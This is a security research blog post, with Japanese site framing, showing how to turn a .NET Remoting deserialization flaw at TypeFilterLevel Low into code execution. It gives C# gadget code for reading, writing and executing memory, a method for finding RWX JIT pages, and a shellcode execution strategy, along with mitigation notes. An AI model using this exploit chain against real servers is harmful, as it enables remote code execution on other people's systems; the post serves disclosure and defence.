セキュリティブログ

Exploiting .NET Remoting with TypeFilterLevel Low and no MarshalByRef interfaces (英語記事)

Exploiting .NET Remoting with TypeFilterLevel Low and no MarshalByRef interfaces (英語記事)

更新日:2022.06.08

2022年6月8日 13:00

Description:

In 2020 there were some bugs reported to Microsoft related to .NET Remoting at [1]. One of the them is DoS bug in BinaryServerFormatterSink::ProcessMessage function (“intended behaviour” according to Microsoft). This DoS can actually be turned into Code Execution by changing the gadget (researchers used Process.Start gadget, which will cause a crash on unhandled exception because of TypeFilterLevel=Low).

We created an exploit that uses 4 different gadgets to touch/read/write/execute arbitrary memory. As .NET code uses JIT for executing MSIL code, we are abusing existing RWX pages in the process to place our shellcode and later execute it with the last gadget.

The only requirement for an attacker is availability of endpoint on which he can execute methods (we use Object.Equals with a specially crafted argument).

It seems not possible to mitigate this by changing the code of the methods exposed by interface as vulnerability is triggered before control reaches code of the server application. Vulnerability is triggered in the function that deserializes arguments for a remote call and since any exploitation attempt ends up with an exception, application gets no notification whatsoever.

Besides the obvious deserialization bug at *BinaryServerFormatterSink::ProcessMessage there is also missing [SecuritySafeCritical] attribute on functions from Marshal* static class (despite exposing unsafe functions like arbitrary memory writing).

Technical details

TypeConfuseDelegate and DataSet wrapper for BinaryFormatter

Let’s describe some details behind TypeConfuseDelegate used in the exploit which are important to understand what is happening on the server-side.

Example code (see ysoserial code at [2]):

Delegate da = new Comparison<Array>(String.Compare);
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc.exe");
set.Add("dummy");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
return set;

In the code above String.Compare function is used for Comparator. public static int String.Compare(string strA, string strB)

This function is merged (by using MulticastDelegate) with a suitable (by signature) static function Process.Start.

public static Process Process.Start(string fileName)

Now if we create a SortedSet<string> which contains exactly two elements, at the moment of deserialization besides String.Compare("calc.exe", "dummy"), a second call Process.Start("calc.exe", "dummy") will be made.

Notice: If function has less arguments than the number of supplied ones, extra arguments are ignored.

Return value is important only for the first function and can be anything for a second function.

We can control only two arguments of the function and this arguments must have the same or castable type.

object TypeConfuseDelegateGadget_Assembly_Load(byte[] ASSEMBLY_BYTES)
{
    Delegate da = new Comparison<Array>(Array.IndexOf);
    Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
    IComparer<Array> comp = Comparer<Array>.Create(d);
    SortedSet<Array> set = new SortedSet<Array>(comp);
    set.Add(ASSEMBLY_BYTES);
    set.Add("dummy".ToCharArray());
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();
    invoke_list[1] = new Func<byte[], Assembly>(Assembly.Load);
    fi.SetValue(d, invoke_list);
    return set;
}

Here is another example which has different base type (Array) and Comparator(Array.IndexOf), allowing us to call Assembly.Load with byte[] serialized besides SortedSet<Array>.

Signatures:

public static int Array.IndexOf(Array array, object value)
public static System.Reflection.Assembly Assembly.Load (byte[] rawAssembly)

Effective actions on deserilization:

Array.IndexOf((Array)ASSEMBLY, (object)"dummy".ToCharArray())
Assembly.Load((byte[])ASSEMBLY, "dummy".ToCharArray())

Set has two objects (byte[] of assembly we want to pass to Assembly.Load and “dummy” of type byte[]), so Comparator (MulticastDelegate) will be called for them on deserialization.

It seems to be guaranteed that the first object in the SortedSet will be used as the first argument and the second object as the second argument accordingly.


To be able to deserialize our SortedSet<Array> (using BinaryDeserializer) at TypeFilterLevel=Low we need to additionaly wrap it into one of the gadgets (classes that implement ISerializable). In our case it is DataSet.

Serialized DataSet can force remote application to deserialize arbitrary BinaryFormatter byte string while deserializing the DataSet object itself. You can see its usage in ysoserial at [3].

So, the final payload will looks like: DataSet(BinaryFormatter(SortedSet<Array>))

Code:

object DataSet_Wrap(object obj)
{
    BinaryFormatter fmt = new BinaryFormatter();
    MemoryStream ms = new MemoryStream();
    fmt.Serialize(ms, obj);
    return new DataSetMarshal(ms);
}

As we cannot return any value from the server directly (any successful call to MulticastDelegate will generate InvalidCastException), we are going to make an oracle based on unsuccessful/successful calls (and exceptions they return).

Improvement of the TypeConfuseDelegate gadget with DynamicInvoke (memory touch gadget)

Because of limitations the original TypeConfuseDelegate has, we need to modify it to support more than two controlled arguments. Instead of calling the target function directly we make another Delegate instance which is going to be serialized inside MulticastDelegate.

object TypeConfuseDelegateGadget_TouchMem(IntPtr addr)
{
    Delegate da = new Comparison<Array>(Array.IndexOf);
    Delegate[] sd = { da, da };
    Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
    IComparer<Array> comp = Comparer<Array>.Create(d);
    SortedSet<Array> set = new SortedSet<Array>(comp);
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();
    Delegate _ReadByteDelegate = new Func<IntPtr, byte>(Marshal.ReadByte);
    Object[] _args1 = { (IntPtr)addr };
    set.Add(_args1);
    set.Add(_args1); // not used
    invoke_list[1] = new Func<object[], object>(_ReadByteDelegate.DynamicInvoke);
    fi.SetValue(d, invoke_list);
    return set;
}

Signatures:

public static int Array.IndexOf(Array array, object value)
public object Delegate.DynamicInvoke(params object[] args)
public static byte Marshal.ReadByte (IntPtr ptr)

Effective actions on deserialization:

ARGUMENT = new Object[]{ (IntPtr)addr }
Array.IndexOf((Array)ARGUMENT, (object)ARGUMENT)
(new Func<IntPtr, byte>(Marshal.ReadByte)).DynamicInvoke(ARGUMENT, ARGUMENT)

In this example we are calling Marshal.ReadByte with IntPtr argument to test memory for READ access.

Since this function has proper exception handling we are going to get System.AccessViolationException inside Marshal.ReadByte and the application will NOT crash in case of inaccessible address.

On successful touch System.InvalidCastException occurs when DataSet object finishes deserialization of SortedSet<Array> and realizes that it cannot cast SortedSet<Array> to System.Data.DataTable.

Stack trace on successful touch:

A: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.Array]' to type 'System.Data.DataTable'.
   at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode)
   at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema)
   at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context)
   --- End of inner exception stack trace ---

Server stack trace:

   at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
   at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
   at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
   at System.Runtime.Serialization.ObjectManager.DoFixups()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

Stack trace on BAD memory touch:

B: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
   at System.Runtime.InteropServices.Marshal.ReadByte(IntPtr ptr, Int32 ofs)
   --- End of inner exception stack trace ---
   at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor)
   at System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(Object obj, Object[] parameters, Object[] arguments)
   at System.Delegate.DynamicInvokeImpl(Object[] args)
   at System.Comparison`1.Invoke(T x, T y)
   at System.Collections.Generic.SortedSet`1.AddIfNotPresent(T item)
   at System.Collections.Generic.SortedSet`1.OnDeserialization(Object sender)
   at System.Runtime.Serialization.ObjectManager.RaiseDeserializationEvent()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode)
   at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema)
   at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context)
   --- End of inner exception stack trace ---

Server stack trace:

   at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
   at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
   at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
   at System.Runtime.Serialization.ObjectManager.DoFixups()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

Write memory gadget

public static void WriteByte (IntPtr ptr, byte val);

Pretty much like touch, but function now has 2 arguments:

Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
Delegate _WriteByte = new Action<IntPtr, byte>(Marshal.WriteByte);
Object[] _args1 = { (IntPtr)addr, (byte)val };
set.Add(_args1);
set.Add(_args1); // not used
invoke_list[1] = new Func<object[], object>(_WriteByte.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;

Signature:

public static void Marshal.WriteByte(IntPtr ptr, byte val)

Successful write exception: System.InvalidCastException Unsuccessful write exception: System.AccessViolationException

Execute memory gadget

Signature:

public static int Marshal.AddRef (IntPtr pUnk);

We can achieve code execution by abusing Marshal.AddRef function which is wrapper for IUnknown::AddRef. We basically just need to build a fake COM object with a VTable that has a AddRef method and pass it to Marshal.AddRef.

struct IUnknown_vtbl
{
    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, LPVOID* ppv );
    ULONG STDMETHODCALLTYPE AddRef();
    ULONG STDMETHODCALLTYPE Release();
};
struct IUnknown
{
    IUnknown_vtbl* vtbl;
};

Let’s imagine that RWX memory is located at 0xAAAA0000. We will start building a fake COM object at 0xAAAA0100, and its VTable will be placed at 0xAAAA0200. The memory we want to execute is ready at 0xAAAA0300. So, our actions can be simplified to the following pseudocode:

WriteQWORD(0xAAAA0100, 0xAAAA0200)
WriteQWORD(0xAAAAA200 + 8, 0xAAAA0300)
Marshal.AddRef(0xAAAA0100)

Application state will be corrupted after this action, so our code should not return control to back to .NET. On successful exploitation we will get neither exception nor timeout (exploit will wait for result forever, or until target application terminates).

Read memory gadget

This gadget requires some trickery, as we cannot directly return anything besides exception. Luckily for us there is BitConverter.ToBoolean function.

From the first look, it is hard to tell how we can READ memory with it, as it only returns boolean value for a byte in array being ZERO or anything else.

Here we need to understand how byte[] type is represented in memory by .NET or, precisely, where the Length value is stored. Simply enough it is stored at +0x8 from the pointer to byte[].

struct byte_array_t {
    void* ptr;
    int32_t Length; // +0x8
};

If the pointer to byte[] has the value 0xAAAAAA00, array length is stored at 0xAAAAAA08 as signed int32 (value in range of 0 to 0x7fffffff, excluding negative numbers)

To understand how to use this information we need to look at examples (follow code flow of BitConverter.ToBoolean in the picture shown before).

Let memory at 0xAAAAAA08 had a DWORD value of 100

BitConverter.ToBoolean (0xAAAAAA00, 99)
    (value=0xAAAAAA00) == null                    | FALSE
    (startIndex=99) < 0                           | FALSE
    (startIndex=99) > (value.Length=100) - 1      | FALSE
    value[99]                                     | -> System.AccessViolationException or SUCCESSFUL READ (System.InvalidCastException)

BitConverter.ToBoolean (0xAAAAAA00, 100)
    (value=0xAAAAAA00) == null                    | FALSE
    (startIndex=100) < 0                           | FALSE
    (startIndex=100) > (value.Length=100) - 1      | TRUE -> System.ArgumentOutOfRangeException

BitConverter.ToBoolean (0xAAAAAA00, 101)
    (value=0xAAAAAA00) == null                    | FALSE
    (startIndex=101) < 0                           | FALSE
    (startIndex=101) > (value.Length=100) - 1      | TRUE -> System.ArgumentOutOfRangeException

Notice: We speak of x64 process. x86 will have a little bit different offsets.

To read a DWORD in this case we need to use a binary search and make guesses until a change between System.ArgumentOutOfRangeException exception and any other exception occur. int ReadMemory_Int32(IntPtr addr)

int ReadMemory_Int32(IntPtr addr)
{
    int left = 0;
    int right = 0x7fffffff;
    while (left < right)
    {
        int mid = left + (right - left) / 2;
        int st = ReadInt32_Cmp(addr, mid);
        if (st == -1)
            left = mid + 1;
        else
            right = mid;
    }
    return left;
}

It might not always be possible to read Int32 if it has negative value. But we can minimize bad cases by wrapping this function into BYTE reader as in follow code:

Byte ReadMemory_BYTE(IntPtr addr)
{
    int val;
    val = ReadMemory_Int32(addr - 0);
    if (val != 0 && val != 0x7fffffff)
        return (byte)(val >> 0);
    val = ReadMemory_Int32(addr - 1);
    if (val != 0 && val != 0x7fffffff)
        return (byte)(val >> 8);
    val = ReadMemory_Int32(addr - 2);
    if (val != 0 && val != 0x7fffffff)
        return (byte)(val >> 16);
    val = ReadMemory_Int32(addr - 3);
    if (val != 0 && val != 0x7fffffff)
        return (byte)(val >> 24);
    return 0;
}

Signatures:

public static ulong Math.Max(ulong val1, ulong val2) public static bool BitConverter.ToBoolean (byte[] value, int startIndex);

Gadget code:

object TypeConfuseDelegateGadget_TestMem(IntPtr addr, int TryVal)
{
    Delegate da = new Comparison<Array>(Array.IndexOf);
    Delegate[] sd = { da, da };
    Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
    IComparer<Array> comp = Comparer<Array>.Create(d);
    SortedSet<Array> set = new SortedSet<Array>(comp);
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();

    // Will read *((int*)x+0x8) on x64
    Object[] _args1 = { (ulong)(addr - 8), (ulong)TryVal };
    set.Add(_args1);
    set.Add(_args1); // not used
    Delegate da2 = new Func<ulong, ulong, ulong>(Math.Max);
    Delegate[] sd2 = { da2, da2 };
    Func<ulong, ulong, ulong> d2 = (Func<ulong, ulong, ulong>)MulticastDelegate.Combine(sd2);

    FieldInfo fi2 = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list2 = d2.GetInvocationList();
    invoke_list2[1] = new Func<byte[], int, bool>(BitConverter.ToBoolean);
    fi2.SetValue(d2, invoke_list2);

    invoke_list[1] = new Func<object[], object>(d2.DynamicInvoke);
    fi.SetValue(d, invoke_list);

    return set;
}

Notice: I had to use MulticastDelegate merging Math.Max and BitConverter.ToBoolean calls because there was a problem with storing arguments with correct type in Object[].

Correct guess exception: System.InvalidCastException Wrong guess exception: System.ArgumentOutOfRangeException Wrong guess / Bad memory exception: System.AccessViolationException

Locating JIT pages with RWX permissions

At this point we can read, write and execute arbitrary memory of target process.

The last challenge for exploitation is finding memory where we can prepare a shellcode for execution.

Lets look at the first 32 bytes of pages that belong to .NET JIT.

You can easily notice a pattern, which can be simplified to the following structure:

struct x64_jit_header {
    QWORD pNext; // zero of pointer to next/prev block?
    QWORD pCurrent; // pointer to the block itself
    QWORD nSize; // possibly size of the block
    QWORD nFlag; // 1 or 0
}

Not all pages with this header actually have RWX permissions, but in my tests regions that satisfy following conditions usually were good for shellcode:

pNext == 0
nSize > 0x10000
nFlag == 1

Strategy for arbitrary code execution

So our exploitation strategy will be: 1. Scan high memory of the process for blocks that have commited memory (using steps of big size for a speed up). 2.UInt64 START = 0x7ff000000000; UInt64 FINISH = 0x7ffffffff000; UInt64 STEP = 0x40 * 0x1000; 3. Improve boundaries of newly discovered regions with smaller steps. 4.UInt64 STEP = 0x1000; 5. Read pointer at offset +0x08 for each pages and check if it’s equal to the address of block itself. 6. If check is passed, we read remaining 3 pointers and make decision on whenever this block can be an RWX memory. 7. Write shellcode, build fake COM object, call Marshal.AddRef gadget.

Possible mitigation case (Veeam Agent for Microsoft Windows)

Recently we noticed a new article from MDSec about deserialization vulnerabilities in Veeam software [5]. They used ExploitRemotingService by James Forshaw [6] and it was patched by downgrading TrustLevel to Low.

This seemed like an insufficient fix as our method could theoretically bypass it. We tested the recent version of Veeam and surprisingly method it did not worked.

Turns out Veeam has custom BinaryFormatter deserializer implemented which blocks any types that are not in the whitelist. This seems like a nice fix for our exploitation method, so we decided to mention this case.

Registration of custom SinkProvider:
Registration of custom BinaryFormatter
RestrictedSerializationBinder implementation:
Deserialization whitelist (partically):

Summary

As you can see, even with TypeFilterLevel=Low and no MarshalByRef interfaces (required for original James Forshaw’s exploit) we can achieve code execution.

.NET Remoting is long deprecated functionality that should not be used by any application that can be accessed and abused by attacker.

There are more ways of exploitation besides described method, for example newest research at [4].

We also contacted Microsoft and got a confirmation that this is known problem in discontinued software. Official recommendation is to port you software to WCF. Related documentation is available at [7].

Resources

[1] MZ-20-03 - New security advisory regarding vulnerabilities in .Net

[2] TypeConfuseDelegateGenerator.cs

[3] DataSetGenerator.cs

[4] .NET Remoting Revisited

[5] ABC-Code Execution for Veeam

[6]ExploitRemotingService

[7] migrating-from-net-remoting-to-wcf

セキュリティ診断のことなら
お気軽にご相談ください
セキュリティ診断で発見された脆弱性と、具体的な内容・再現方法・リスク・対策方法を報告したレポートのサンプルをご覧いただけます。
経験豊富なエンジニアが
セキュリティの不安を解消します

Webサービスやアプリにおけるセキュリティ上の問題点を解消し、
収益の最大化を実現する相談役としてぜひお気軽にご連絡ください。

疑問点やお見積もり依頼はこちらから

お見積もり・お問い合わせ

セキュリティ診断サービスについてのご紹介

資料ダウンロード